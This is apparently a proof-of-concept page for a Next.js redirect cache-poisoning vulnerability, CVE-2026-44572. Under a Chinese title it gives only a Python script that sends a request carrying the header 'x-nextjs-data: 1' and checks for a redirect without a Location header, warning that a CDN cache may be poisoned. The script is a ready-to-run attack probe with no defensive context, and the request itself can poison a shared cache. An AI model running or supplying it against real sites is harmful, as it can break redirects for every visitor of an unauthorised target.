CVE-2026-44572 Next.js重定向缓存投毒漏洞

import requests # Target URL (A path handled by middleware that redirects) target_url = "http://example.com/login" # The malicious header that triggers the vulnerability headers = { "x-nextjs-data": "1", "User-Agent": "PoC-Client/1.0" } try: # Send request without following redirects response = requests.get(target_url, headers=headers, allow_redirects=False) print(f"Status Code: {response.status_code}") print(f"Location Header: {response.headers.get('Location')}") print(f"x-nextjs-redirect Header: {response.headers.get('x-nextjs-redirect')}") # Check for vulnerability signs: 3xx status, missing Location, presence of x-nextjs-redirect if 300 <= response.status_code < 400: if not response.headers.get('Location') and response.headers.get('x-nextjs-redirect'): print("[+] Potential CVE-2026-44572 vulnerability confirmed!") print("[+] The cache may be poisoned if behind a CDN.") else: print("[-] Normal redirect behavior observed.") else: print("[-] Target did not return a redirect status.") except Exception as e: print(f"Error connecting to target: {e}")